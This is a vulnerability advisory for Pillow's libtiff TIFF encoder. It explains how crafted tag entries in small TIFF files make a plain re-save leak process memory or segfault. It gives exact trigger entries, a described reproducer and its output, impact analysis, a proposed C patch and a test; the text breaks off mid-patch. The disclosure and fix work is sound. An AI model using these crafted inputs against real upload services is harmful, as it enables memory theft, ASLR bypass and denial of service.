Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags ``` ============================================================================ Memory disclosure and segfault in libtiff encoder via crafted TIFF tags Location: src/encode.c:1014 in PyImaging_LibTiffEncoderNew() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A crafted TIFF file of a few hundred bytes makes Pillow copy an attacker-chosen amount of its own process memory into the TIFF it writes back out, or crash the process outright. The trigger is an ordinary `Image.open()` followed by a bare `im.save(fp, "TIFF")`. The only precondition is that the application re-saves images as TIFF. When the uploaded file is compressed, Pillow routes that save through libtiff automatically, with no options from the application. The attached reproducer does this with a 356-byte LZW TIFF: one crafted tag comes back holding 65536 bytes taken from `_imaging.so`'s read-only data, and a second crafted tag makes the worker die with SIGSEGV on every run. The bug is in `PyImaging_LibTiffEncoderNew` (`src/encode.c`). It decides what arguments to pass to the variadic `TIFFSetField()` from the shape of the Python value (scalar, tuple or bytes). It assumes its `ImagingLibTiffMergeFieldInfo()` call defined how libtiff will read them. But `TIFFMergeFieldInfo()` never overrides libtiff's built-in field table, so libtiff reads the arguments according to its own definition of the tag: - For a counted array tag such as DNGPrivateData (50740), a count-1 integer in the source file is taken as the byte count. The data pointer is then read from an argument slot Pillow never wrote, and that many bytes are copied into the output. - For a fixed-size array tag such as ActiveArea (50829), the integer itself is used as the source address. Where that unwritten slot points depends on the compiler. In the tested clang build it points into `_imaging.so`, and a larger count returned thousands of pointers into libpython, libc and libtiff, which defeats address-space randomisation for anyone chaining another bug. When the application preserves metadata with `tiffinfo=im.tag_v2`, a 64-bit entry turns ActiveArea into a 16-byte read from an address the attacker chooses. All observed memory errors are reads; no out-of-bounds write was found. Other branches of the same loop share the defect and are reachable from crafted TIFFs or from EXIF in JPEG/PNG/WebP re-saved as compressed TIFF. These are the `bytes`, RATIONAL-tuple and typed-tuple branches, and a BYTE-typed ColorMap. The file-reachable forwarding was introduced in `a3d45e9cefd0` ("Added custom int and float TIFF tags") and first released in 5.4.0. ## Details `PyImaging_LibTiffEncoderNew` (`src/encode.c:777-1060`) chooses the argument list it hands to the variadic `TIFFSetField()` from the *Python* value of each tag — scalar vs. tuple vs. `bytes`, and a type that is either autodetected or copied from the source file's IFD — and assumes that its own `ImagingLibTiffMergeFieldInfo()` registration defines how libtiff will read the `va_list`. It does not: libtiff keeps its built-in definition for every tag it already knows, and core tags are never registered at all. libtiff therefore consumes the varargs as `(count, pointer)`, `(pointer)` or three pointers according to *its* field table, whatever Pillow actually pushed. The encoder never consults that table (`TIFFFindField` / `TIFFFieldPassCount` / `TIFFFieldWriteCount` / `TIFFFieldDataType`) before the call. The most severe instance, and the one the attached reproducer exercises: when a TIFF is re-saved through the libtiff writer, every tag of the source IFD that Pillow does not recognise is forwarded to libtiff with `TIFFSetField()`. A count-1 integer entry is passed as a single scalar vararg. If libtiff's own field table defines that tag number as an *array* field, libtiff consumes the varargs as `(count, pointer)` or `(pointer)` instead, so the attacker's integer becomes either the number of bytes to copy from a never-written vararg slot, or the source address itself. The same mismatch is reachable through the typed tuple branches (tuple length consumed as a pointer for fixed-count built-in tags such as `CFARepeatPatternDim`, even when the source file is well-formed), the `bytes`, `TIFF_RATIONAL`-tuple and core-tag branches of the same loop; those are listed under *Other branches with the same defect* below and need to be covered by the same fix. A 181-byte TIFF (16×16 RGB, one LZW strip, plus one extra IFD entry `50740 / LONG / count 1 / value 4096` — DNGPrivateData) opened with `Image.open()` and saved with a bare `im.save(buf, "TIFF")` produces a 4296-byte output whose tag 50740 holds 4096 bytes that occur nowhere in the input; scanning `/proc/self/mem` finds them in the read-only data segment of `_imaging.so`. Changing the extra entry to `50829 / LONG / 1 / 64` (ActiveArea) makes the same two calls segfault in `memcpy(dst, src=0x40, n=16)` under `ImagingLibTiffSetField` ← `PyImaging_LibTiffEncoderNew`. An ASan build of the extensions reports `READ of size 4096` in `memcpy` called from `src/encode.c:1014` for the first input. ### Code path `_save` copies all tags of the opened image into the libtiff attribute list. For a tag that is neither in `LIBTIFF_CORE` nor in `TiffTags.TAGS_V2`, no type is recorded, so the value goes through untyped: ```python # src/PIL/TiffImagePlugin.py:1782 supplied_tags = {**legacy_ifd, **getattr(im, "tag_v2", {})} … # :1959-1982 for tag, value in itertools.chain(ifd.items(), supplied_tags.items()): if tag not in TiffTags.LIBTIFF_CORE: … elif isinstance(value, (int, float, str, bytes)) or …: type = TiffTags.lookup(tag).type # None for 50740, 50829, … if type: types[tag] = type if tag not in atts and tag not in blocklist: … atts[tag] = value # plain int 4096 ``` `compression` defaults to the source image's `im.info["compression"]` (`TiffImagePlugin.py:1731-1746`), so a compressed source selects the libtiff writer without the application asking for it. In the encoder the untyped `int` is autodetected as `TIFF_LONG` (`src/encode.c:805-815`), the tag is "registered" as a scalar custom field, and then set with one 32-bit vararg: ```c // src/encode.c:844 (is_var_length = 0 → writecount 1, passcount 0) if (ImagingLibTiffMergeFieldInfo(&encoder->state, type, key_int, is_var_length)) { … continue; } … // src/encode.c:1013-1016 } else if (type == TIFF_LONG || type == TIFF_IFD) { status = ImagingLibTiffSetField( &encoder->state, (ttag_t)key_int, (UINT32)PyLong_AsLong(value) ); ``` The registration does not do what the caller assumes. `TIFFMergeFieldInfo()` only adds definitions for tags libtiff does not already know and returns 0 (success) either way, so for tags in libtiff's built-in table the built-in definition stays in force. Queried against the linked libtiff 4.5.0 after exactly Pillow's merge call: ``` 50740 DNGPrivateData type=BYTE passcount=1 writecount=-1 (unchanged) 50829 ActiveArea type=LONG passcount=0 writecount=4 (unchanged) 65000 CustomField type=LONG passcount=0 writecount=1 (Pillow's definition, tag was unknown) ``` libtiff's setter for `FIELD_CUSTOM` tags then interprets the `va_list` according to *its* definition: for `passcount=1` it reads `va_arg(ap, int)` as the element count — the attacker's 4096 — allocates `count * size` bytes and `memcpy`s that many bytes from `va_arg(ap, void *)`, a slot `PyImaging_LibTiffEncoderNew` never wrote. On x86-64 that slot is register `rcx`; in this build it holds a pointer into `_imaging.so`'s `.rodata`, so the copy succeeds deterministically (a value of 2 000 000 also succeeds and yields a 2 000 200-byte output). `TIFFWriteDirectory` writes the copied bytes into the output file as the tag's value. For fixed-count array fields (`passcount=0`, `writecount=4` for ActiveArea) there is no count argument, so the attacker's scalar is consumed as the `void *` source and 16 bytes are read from address 64 → SIGSEGV. Tags in libtiff 4.5's built-in table that Pillow forwards untyped and that take the `(count, pointer)` form include DNGPrivateData 50740, CFAPattern 33422, CFAPlaneColor 50710, LinearizationTable 50712, BlackLevel 50714, WhiteLevel 50717, ColorMatrix1/2 50721/50722, AsShotNeutral 50728, OriginalRawFileName/Data 50827/50828, AsShotICCProfile 50831, CurrentICCProfile 50833. Fixed-count ones (pointer only → crash) include ActiveArea 50829, DNGVersion/DNGBackwardVersion 50706/50707, DefaultScale/DefaultCropOrigin/DefaultCropSize 50718–50720, AsShotWhiteXY 50729, CFARepeatPatternDim 33421, BlackLevelRepeatDim 50713, ImageLayer 34732, RawDataUniqueID 50781. When the application saves with `tiffinfo=im.tag_v2` (the documented way to preserve metadata), the file-declared type is honoured, and a `LONG8` entry reaches the `(uint64_t)PyLong_AsLongLong(value)` branch at `src/encode.c:1049-1052`. For ActiveArea that is a 16-byte read from a full 64-bit attacker-chosen address into the output: a source entry `50829 / LONG8 / 1 /

` produced an output ActiveArea of `(b'SECR', b'ET-T', b'OKEN', b'-012')` in testing. The comment above `blocklist +=` at `TiffImagePlugin.py:1938-1944` already notes that array tags with the wrong length "will result in segfaults"; the blocklist covers only a handful of tags Pillow itself knows, not the ones libtiff knows and Pillow does not. Forwarding of these tags was introduced in `a3d45e9cefd0` ("Added custom int and float TIFF tags", 2018-10-25), first released in 5.4.0; releases 2.0.0–3.0.0 forwarded them as scalars too, until `9fa6634f4` ("Partial fix for #1597") limited `_save` to `LIBTIFF_CORE`. ### Other branches with the same defect The scalar-integer branch above is one of several places in the same loop where the call shape is derived from the Python value rather than from libtiff's definition. All of the following were confirmed on this commit (stock build crashes and/or ASan reports, stack always `memcpy ← libtiff ← ImagingLibTiffSetField src/libImaging/TiffDecode.c:934 ← PyImaging_LibTiffEncoderNew`), and all are reachable from a sub-1 KB crafted file followed by an ordinary `save()`: * **Typed tuple → `(len, av)` for a fixed-count built-in field** (`src/encode.c:904-994`, the SHORT/LONG/SBYTE/SSHORT/SLONG/FLOAT/DOUBLE tuple branches all call `ImagingLibTiffSetField(..., len, av)`). For libtiff built-in fields with `passcount=0` and a fixed `writecount` — `CFARepeatPatternDim` 33421 (SHORT×2), `BlackLevelRepeatDim` 50713 (SHORT×2), `ImageLayer` 34732 (LONG×2), `ActiveArea` 50829 (LONG×4), `MatrixWorldToScreen/Camera` 33305/33306 (FLOAT×16) — libtiff takes the *first* vararg as the source pointer, so the tuple length becomes the `memcpy` source address. A perfectly well-formed 206-byte 8×8 PackBits TIFF carrying `33421 / SHORT / 2 / (2, 2)` re-saved with a bare `im.save(out, "TIFF")` dies with SIGSEGV in `memcpy` (gdb: `rsi = 0x2`, the tuple length) on every run; so does `Image.new("L", (8, 8)).save(buf, "TIFF", compression="packbits", tiffinfo={33421: (2, 2)})`, and a JPEG whose EXIF carries the tag saved with `exif=im.getexif()` into a compressed TIFF. `bytes` values for built-in fixed-count BYTE tags (e.g. `DNGVersion` 50706, BYTE×4) crash the same way through the `(PyBytes_Size, PyBytes_AsString)` call at `src/encode.c:860-865`. The mirror image for `passcount=1` fields: `Photoshop` 34377 declared SHORT, count 1, value 60000 takes the scalar branch at `:1009-1012`, libtiff reads 60000 as the count and an unpassed vararg as the pointer, and the re-save *succeeds* with a 60162-byte output whose tag 34377 holds 60000 bytes of process memory (here C prototype strings from `_imaging.so`'s `.rodata`). * **`bytes` value → single `char *`** (`src/encode.c:805-815` autodetects `bytes` as `TIFF_ASCII`; `:1033-1042` passes `PyBytes_AsString(value)` alone). `ImageFileDirectory_v2._setitem` stores a BYTE-typed entry as bare `bytes` and an ASCII-typed one as `str` (encoded to `bytes` by `_save`), so the file's declared type selects this branch. - `ColorMap` (320) declared BYTE with 4 bytes of data in a non-palette PackBits TIFF: 320 is in `core_tags[]`, no type is consulted, the value skips the 768-tuple `TIFFTAG_COLORMAP` branch (`:871-895`) and libtiff reads three `uint16_t *` and copies `1 << BitsPerSample` shorts from each — a 512-byte over-read of the 5-byte Python bytes buffer, then dereference of two stale argument registers → SIGSEGV on every run of `Image.open(f); im.save(out, "TIFF")`. `COLORMAP` is not in `_save`'s `blocklist`. - `Photoshop` (34377) declared ASCII: `_save` copies value *and* type (`TiffImagePlugin.py:1802-1818`; only `IPTC_NAA_CHUNK` has a BYTE/UNDEFINED type guard there, from commit 2245df0a — `PHOTOSHOP_CHUNK` and `XMP` do not). libtiff's definition is BYTE, `passcount=1`, so the low 32 bits of the `char *` become the byte count for a `memcpy` from a stale register (ASan: `READ of size 3518384`; stock: SIGSEGV in about half of runs, otherwise `RuntimeError`). `ICCProfile` (34675) declared ASCII behaves the same way via `im.info["icc_profile"]` → `ifd[ICCPROFILE]` (`TiffImagePlugin.py:1822-1824`). * **`TIFF_RATIONAL` tuple → array with no count** (`src/encode.c:995-1006`; compare the `TIFF_FLOAT` branch at `:969-981`, which passes `len, av`). - For a private tag (e.g. 50000) Pillow itself registers the field with `passcount=1` (`TiffDecode.c:904-908`), so libtiff takes the low 32 bits of `av` as the element count and the next stale vararg as the source: `heap-buffer-overflow READ of size 119872 … right of 8-byte region` under ASan (`119872 == 4 * low32(av)`), SIGSEGV in ~4 of 5 stock runs. Reached by a JPEG whose EXIF carries one private RATIONAL×2 tag saved with `im.save(out, "TIFF", compression="tiff_lzw", exif=im.info["exif"])`, or a TIFF re-saved with `tiffinfo=im.tag_v2` (`_setitem` auto-types a tuple of `IFDRational` as RATIONAL, `TiffImagePlugin.py:689-701`; `types[tag] = ifd.tagtype[tag]` at `:1968`). - For libtiff's built-in fixed-count float tags `WhitePoint` (318, 2), `PrimaryChromaticities` (319, 6) and `YCbCrCoefficients` (529, 3), which `_save` forwards from any source TIFF and types RATIONAL via `TiffTags.lookup`, the pointer-only convention happens to match, but libtiff copies its *fixed* count from an array that is only as long as the file declared: a PackBits TIFF with `PrimaryChromaticities` count 1 and a bare `im.save(out, "TIFF")` gives `READ of size 24 … right of 4-byte region`, and the over-read floats are written to tag 319 of the output. `REFERENCEBLACKWHITE`/`TRANSFERFUNCTION` are blocklisted at `TiffImagePlugin.py:1941-1952` for exactly this reason; 318/319/529 are not. * **Core tag reached as a scalar via a stale file-supplied type.** With the re-save idiom `im.save(out, "TIFF", tiffinfo=im.tag_v2)`, `_save` copies `ifd.tagtype[key] = info.tagtype[key]` for every key (`TiffImagePlugin.py:1768-1776`) and later assigns its own values to some of the same tags without resetting the type (`ifd[COLORMAP] = colormap` at `:1870-1877`; likewise BitsPerSample, SamplesPerPixel, ExtraSamples, ICCProfile, …). For a 418-byte PackBits *palette* TIFF whose ColorMap entry is declared BYTE, `_setitem` (`:751-770`) truncates `_save`'s 768-entry palette to a single `int` (with only a "too many entries" warning), the encoder receives `(320, 0)`, autodetects `TIFF_LONG`, and `src/encode.c:1013-1016` calls `TIFFSetField(TIFFTAG_COLORMAP, (UINT32)0)` — libtiff reads three `uint16_t *` and faults at an address ≤ 65280 on every run. The stale-tagtype copy is a Python-side hygiene bug in its own right, but its memory-safety consequence exists only because the encoder lets a non-tuple value reach `TIFFSetField(COLORMAP)`. ## Impact Any service that accepts a TIFF and writes it back out as TIFF through libtiff — which happens with a plain `im.save(fp, "TIFF")` whenever the uploaded file is compressed, or whenever a `compression=` other than raw is requested — returns to the uploader, inside one metadata tag of the produced file, an attacker-chosen number of bytes read from a stale pointer in the worker process, deterministically and without retries. Which memory that is depends on the compiler's register allocation for `PyImaging_LibTiffEncoderNew`: in this clang build the pointer is `_imaging.so + 0x1588`, so a request for 262 144 bytes (which succeeded every time in testing, as did 2 000 000) covers the extension's `.rodata`, `.data.rel.ro`/GOT and `.data` and returned 2 800+ resolved pointers into libpython, libc, libtiff, libjpeg and others — a complete ASLR bypass for chaining with any other memory bug; a gcc build of the same source left a different, unrelated address in that slot. The fixed-count variant kills the worker process with SIGSEGV from a 181-byte upload on every request. With `tiffinfo=im.tag_v2` the source address is fully attacker-chosen (16-byte arbitrary read into the output for ActiveArea, or a crash). No non-default Pillow setting is involved; the only precondition is TIFF-to-TIFF re-encoding. The other branches add further deterministic process-kill inputs (BYTE-typed ColorMap in any RGB or palette TIFF; `thumbnail()` keeps `tag_v2`, so open→thumbnail→save-as-TIFF is affected too) and extend the reach to JPEG/PNG/WebP uploads whose EXIF is preserved with `exif=` when converting to libtiff-compressed TIFF. All the memory errors are reads; libtiff sizes its destination buffers with the same count it copies, so no out-of-bounds write was found. ## Reproducing `repro` is one Python script, run against the stock build with the installed `PIL`. It needs no compiler and no extra files. `upload(tag, value)` has Pillow write a 16×16 red RGB image as an LZW-compressed TIFF, then appends a new IFD holding the same entries plus one extra ` / LONG / count 1 / value` (kept in tag order) and points the header at it — a 356-byte input on this tree. The source is LZW-compressed on purpose. A bare `im.save(out, "TIFF")` keeps the source's compression, so the save goes through the libtiff writer even though the application passes no arguments. `resave()` is the whole "application": `Image.open(BytesIO(src)); im.save(out, "TIFF")`. The script runs three cases: 1. **Control, tag 65000 = 4096.** libtiff does not know this tag, so the file is re-saved correctly and the output tag reads back as the integer `4096`. This is what should happen to every tag. 2. **Leak, DNGPrivateData 50740 = 65536.** libtiff's built-in definition of this tag is a counted BYTE array. It reads Pillow's single scalar as the *count* and takes the data pointer from a vararg slot Pillow never wrote. The output tag comes back as `bytes` of length 65536 that do not occur in the input. The script prints the first 32 of them and the file offset at which they occur in `_imaging.so` on disk. On this build they always do (offset `0x57588`): the stale pointer aims into the extension's read-only data. 3. **Wild read, ActiveArea 50829 = 64.** libtiff defines this tag as a fixed LONG[4] array with no count, so it uses the scalar 64 as the *source address*. The script re-runs itself as a child process (`repro child`, core dumps disabled) to do this re-save, and the child exits with `-11`, meaning SIGSEGV. Expected output on the affected tree: ``` control tag 65000=4096 -> 4096 leak tag 50740=65536 from a 356-byte upload -> 65536 bytes not present in input, head a661fcffc661fcff3360fcff7b61fcffd361fcff085ffcffe061fcff3360fcff leaked bytes found in _imaging.so at file offset 0x57588 crash tag 50829=64 -> child exit -11 (SIGSEGV) BUG ``` The script prints `BUG` if case 2 leaks or case 3 crashes. Both are deterministic on this build. A fixed Pillow prints `OK`: the tag does not come back as 65536 bytes of foreign data (it reads back as `None`, or `save()` raises `ValueError`/`RuntimeError`, which the script catches), and the child exits with something other than SIGSEGV (0, or 1 if `save()` raised). The other branches can be checked by hand on the stock build in the same way (each as `Image.open(f); im.save(BytesIO(), "TIFF")` in a child process): a PackBits RGB TIFF with an extra IFD entry `320 / BYTE / 4 / "ABCD"` → SIGSEGV every run; a PackBits palette TIFF whose ColorMap is `320 / BYTE / 2` saved with `tiffinfo=im.tag_v2` → SIGSEGV every run; a Pillow-written JPEG whose EXIF holds tag 50000 = RATIONAL×2 saved with `compression="tiff_lzw", exif=im.info["exif"]` → SIGSEGV in most runs, `RuntimeError` ("Failed to allocate memory for custom tag binary object (-N elements of 4 bytes each)") in the rest. ## Suggested fix The encoder must not guess the calling convention; it has to ask libtiff what the tag's effective definition is *after* `ImagingLibTiffMergeFieldInfo` and marshal accordingly, or refuse. The attached patch does this for non-core tags: * a new `ImagingLibTiffFindField()` in `src/libImaging/TiffDecode.c` (declared in `TiffDecode.h`, next to the other libtiff wrappers) returns libtiff's `TIFFFindField` type, `passcount` and `writecount` for a tag; * in `PyImaging_LibTiffEncoderNew` (`src/encode.c`), for a non-core tag that libtiff already knows, Pillow adopts libtiff's type when it has none of its own, and after `ImagingLibTiffMergeFieldInfo` a new `tiff_field_matches()` checks the value against libtiff's definition: a scalar only for a single-value field whose C argument type (int / `uint64_t` / double / `char *`) matches, an array only with libtiff's element size and, for fixed-count fields, exactly `writecount` elements. Anything else raises `ValueError("Tag value does not match libtiff field definition")` instead of reaching `TIFFSetField` — this covers the reproducer's DNGPrivateData and ActiveArea inputs, ASCII-typed Photoshop, short PrimaryChromaticities and the `LONG8` `tiffinfo=` variant; * every tuple/`bytes` branch now goes through `set_tiff_array_field()`, which passes `len` only when the field has `passcount` set; this also fixes the `TIFF_RATIONAL` branch, which never passed a count (and extends it to `TIFF_SRATIONAL`); * `TIFF_UNDEFINED` fields are registered as variable-length, matching how their `bytes` values are passed; * `Tests/test_file_libtiff.py` gains a regression test (scalar DNGPrivateData, scalar and 2-tuple ActiveArea rejected; well-formed values round-trip). Core tags and tags libtiff does not know keep their current behaviour. With the patch applied to a clean checkout and rebuilt, the reproducer no longer triggers and the test suite passes. It is not a complete fix, however: the whole check sits inside `if (!is_core_tag)`, so the BYTE-typed ColorMap variant stays open. The PackBits RGB TIFF carrying `320 / BYTE / 4`, re-saved with a bare `save()`, no longer segfaults at this point but writes 1536 bytes — over-read from the 5-byte `bytes` object and two stale varargs, including 22 live heap pointers — into the output ColorMap, which is still a disclosure. Before merging, it needs a guard that accepts `TIFFTAG_COLORMAP` only through the existing 768-tuple branch, never through the scalar or `bytes` branches, and ideally the same shape check for the other core tags libtiff special-cases in `_TIFFVSetField` (YCbCrSubsampling 530, TransferFunction 301, ReferenceBlackWhite 532). Narrower Python-side mitigations in `_save` close individual entry points but not the class, and are worth adding alongside the C-side check: drop tags with `TiffTags.lookup(tag).type is None` from `supplied_tags` (closes the `Image.open()→save()` path shown here but not `tiffinfo=` callers); remove `COLORMAP` from `supplied_tags` next to `EXIFIFD`/`SAMPLEFORMAT` and extend the `IPTC_NAA_CHUNK` BYTE/UNDEFINED type guard to `PHOTOSHOP_CHUNK` and `XMP`; add 318/319/529 to the blocklist next to `REFERENCEBLACKWHITE`; and have `_save` `ifd.tagtype.pop(tag, None)` before assigning its own ColorMap/BitsPerSample/ICCProfile/… values so a `tiffinfo=`-imported type cannot reshape them. The C-side check is the fix to rely on. ## The patch Pass TIFF tag values to libtiff according to its own field definition, and raise ValueError when they do not fit Applies to `src/encode.c` at the commit above. It passed the mechanical check — applied to a clean tree, rebuilt, the reproducer stopped firing — but a reviewer did not endorse it as the right fix. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..adc4633e4 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -395,6 +395,43 @@ class TestFileLibTiff(LibTiffTestCase): with pytest.raises(ValueError, match="Incorrect tag value type"): im.save(out, tiffinfo=ifd) + @pytest.mark.parametrize( + "tag, value", + ( + # DNGPrivateData is a BYTE array with a count to libtiff + (50740, 4096), + # ActiveArea is a LONG array of four values to libtiff + (50829, 64), + (50829, (0, 0)), + ), + ) + def test_libtiff_field_definition( + self, tag: int, value: Any, monkeypatch: pytest.MonkeyPatch, tmp_path: Path + ) -> None: + monkeypatch.setattr(TiffImagePlugin, "WRITE_LIBTIFF", True) + + ifd = TiffImagePlugin.ImageFileDirectory_v2() + ifd[tag] = value + ifd.tagtype[tag] = TiffTags.LONG + + out = tmp_path / "temp.tif" + im = Image.new("L", (1, 1)) + with pytest.raises(ValueError, match="libtiff field definition"): + im.save(out, tiffinfo=ifd) + + # Values that match the libtiff definition are written + ifd = TiffImagePlugin.ImageFileDirectory_v2() + ifd[50740] = b"private" + ifd.tagtype[50740] = TiffTags.BYTE + ifd[50829] = (0, 0, 1, 1) + ifd.tagtype[50829] = TiffTags.LONG + im.save(out, tiffinfo=ifd) + + with Image.open(out) as reloaded: + assert isinstance(reloaded, TiffImagePlugin.TiffImageFile) + assert reloaded.tag_v2[50740] == b"private" + assert reloaded.tag_v2[50829] == (0, 0, 1, 1) + def test_inknames_tag( self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path ) -> None: diff --git a/src/encode.c b/src/encode.c index 9e19e9002..cbbd09f0d 100644 --- a/src/encode.c +++ b/src/encode.c @@ -675,6 +675,106 @@ PyImaging_ZipEncoderNew(PyObject *self, PyObject *args) { #include +/* C type that TIFFSetField reads from its arguments for a single value of + the given type: int, uint64_t, double or char * */ +static int +tiff_scalar_arg_type(TIFFDataType type) { + switch (type) { + case TIFF_BYTE: + case TIFF_SBYTE: + case TIFF_UNDEFINED: + case TIFF_SHORT: + case TIFF_SSHORT: + case TIFF_LONG: + case TIFF_SLONG: + case TIFF_IFD: + return 1; + case TIFF_LONG8: + case TIFF_SLONG8: + case TIFF_IFD8: + return 2; + case TIFF_FLOAT: + case TIFF_DOUBLE: + case TIFF_RATIONAL: + case TIFF_SRATIONAL: + return 3; + case TIFF_ASCII: + return 4; + default: + return 0; + } +} + +/* Size of the values that TIFFSetField copies from an array of the given + type. libtiff stores custom RATIONAL arrays as floats. */ +static int +tiff_array_item_size(TIFFDataType type) { + switch (type) { + case TIFF_BYTE: + case TIFF_SBYTE: + case TIFF_UNDEFINED: + case TIFF_ASCII: + return 1; + case TIFF_SHORT: + case TIFF_SSHORT: + return 2; + case TIFF_LONG: + case TIFF_SLONG: + case TIFF_IFD: + case TIFF_FLOAT: + case TIFF_RATIONAL: + case TIFF_SRATIONAL: + return 4; + case TIFF_DOUBLE: + case TIFF_LONG8: + case TIFF_SLONG8: + case TIFF_IFD8: + return 8; + default: + return 0; + } +} + +/* Check that a value which will be passed to TIFFSetField as a single value + of the given type, or as an array of len values, matches the definition + of the field that libtiff will use. */ +static int +tiff_field_matches( + TIFFDataType field_type, + int passcount, + int writecount, + TIFFDataType type, + int is_var_length, + Py_ssize_t len +) { + if (field_type == TIFF_ASCII && !passcount) { + // TIFFSetField reads a null-terminated string + return !is_var_length && type == TIFF_ASCII; + } + if (!is_var_length) { + // TIFFSetField reads a single value + return !passcount && writecount == 1 && tiff_scalar_arg_type(type) && + tiff_scalar_arg_type(type) == tiff_scalar_arg_type(field_type); + } + // TIFFSetField reads a pointer to the values, preceded by the number of + // values if passcount is set. Otherwise, the number of values is fixed. + if (!tiff_array_item_size(type) || + tiff_array_item_size(type) != tiff_array_item_size(field_type)) { + return 0; + } + return passcount || (writecount > 1 && len == writecount); +} + +static int +set_tiff_array_field( + ImagingCodecState state, int key, int passcount, Py_ssize_t len, void *av +) { + if (passcount) { + return ImagingLibTiffSetField(state, (ttag_t)key, len, av); + } + return ImagingLibTiffSetField(state, (ttag_t)key, av); +} + PyObject * PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { ImagingEncoderObject *encoder; @@ -689,7 +789,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { PyObject *key, *value; Py_ssize_t pos = 0; int key_int, status, is_core_tag, is_var_length, num_core_tags, i; - TIFFDataType type = TIFF_NOTYPE; + int is_known_tag, passcount, writecount; + TIFFDataType type = TIFF_NOTYPE, field_type; // This list also exists in TiffTags.py const int core_tags[] = {256, 257, 258, 259, 262, 263, 266, 269, 274, 277, 278, 280, 281, 282, 283, 284, 286, 287, 296, 297, @@ -777,6 +878,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { status = 0; is_core_tag = 0; is_var_length = 0; + is_known_tag = 0; + passcount = 1; type = TIFF_NOTYPE; for (i = 0; i < num_core_tags; i++) { @@ -800,6 +903,15 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { } Py_DECREF(tag_type); } + + // libtiff uses its own definition for tags that it already knows, + // rather than the field registered below. + is_known_tag = ImagingLibTiffFindField( + &encoder->state, key_int, &field_type, &passcount, &writecount + ); + if (is_known_tag && type == TIFF_NOTYPE) { + type = field_type; + } } if (type == TIFF_NOTYPE) { @@ -838,7 +950,7 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { if (!is_core_tag) { // Register field for non core tags. - if (type == TIFF_BYTE) { + if (type == TIFF_BYTE || type == TIFF_UNDEFINED) { is_var_length = 1; } if (ImagingLibTiffMergeFieldInfo( @@ -847,6 +959,28 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { Py_DECREF(item); continue; } + + if (is_known_tag) { + // Check that the value will be passed to TIFFSetField in the + // form that libtiff's definition of the tag expects. + Py_ssize_t len = 0; + if (PyTuple_Check(value)) { + len = PyTuple_Size(value); + } else if (PyBytes_Check(value)) { + len = PyBytes_Size(value); + } + if (!tiff_field_matches( + field_type, passcount, writecount, type, is_var_length, len + )) { + Py_DECREF(encoder); + Py_DECREF(item); + PyErr_SetString( + PyExc_ValueError, + "Tag value does not match libtiff field definition" + ); + return NULL; + } + } } if (type == TIFF_BYTE || type == TIFF_UNDEFINED || @@ -857,9 +991,10 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { PyErr_SetString(PyExc_ValueError, "Incorrect tag value type"); return NULL; } - status = ImagingLibTiffSetField( + status = set_tiff_array_field( &encoder->state, - (ttag_t)key_int, + key_int, + passcount, PyBytes_Size(value), PyBytes_AsString(value) ); @@ -909,8 +1044,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (UINT16)PyLong_AsLong(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } @@ -922,8 +1057,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (UINT32)PyLong_AsLong(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } @@ -935,8 +1070,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (INT8)PyLong_AsLong(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } @@ -948,8 +1083,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (INT16)PyLong_AsLong(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } @@ -961,8 +1096,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (INT32)PyLong_AsLong(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } @@ -974,8 +1109,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (FLOAT32)PyFloat_AsDouble(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } @@ -987,12 +1122,12 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = PyFloat_AsDouble(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } - } else if (type == TIFF_RATIONAL) { + } else if (type == TIFF_RATIONAL || type == TIFF_SRATIONAL) { FLOAT32 *av; /* malloc check ok, calloc checks for overflow */ av = calloc(len, sizeof(FLOAT32)); @@ -1000,8 +1135,9 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (FLOAT32)PyFloat_AsDouble(PyTuple_GetItem(value, i)); } - status = 